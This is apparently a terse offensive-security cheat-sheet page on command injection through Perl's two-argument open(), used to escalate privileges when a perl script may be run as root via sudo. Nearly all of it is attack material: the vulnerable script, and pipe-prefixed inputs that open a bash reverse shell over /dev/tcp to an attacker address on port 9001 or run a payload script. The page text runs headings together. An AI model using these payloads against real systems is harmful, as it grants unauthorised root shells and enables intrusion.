Perl
Theory
Practice
Open() Command Injection
sudo -l
(root): /usr/bin/perl open.plmy $file = <>;
open(FH, $file);
while (my $line = <FH>) {
print($line);
}$ sudo /usr/bin/perl open.pl
|bash -c 'bash -i >& /dev/tcp/<ATTACKING_IP>/9001 0>&1'
bash -c 'bash -i >& /dev/tcp/10.10.14.12/9001 0>&1'|
|/tmp/payload.shReferences
Last updated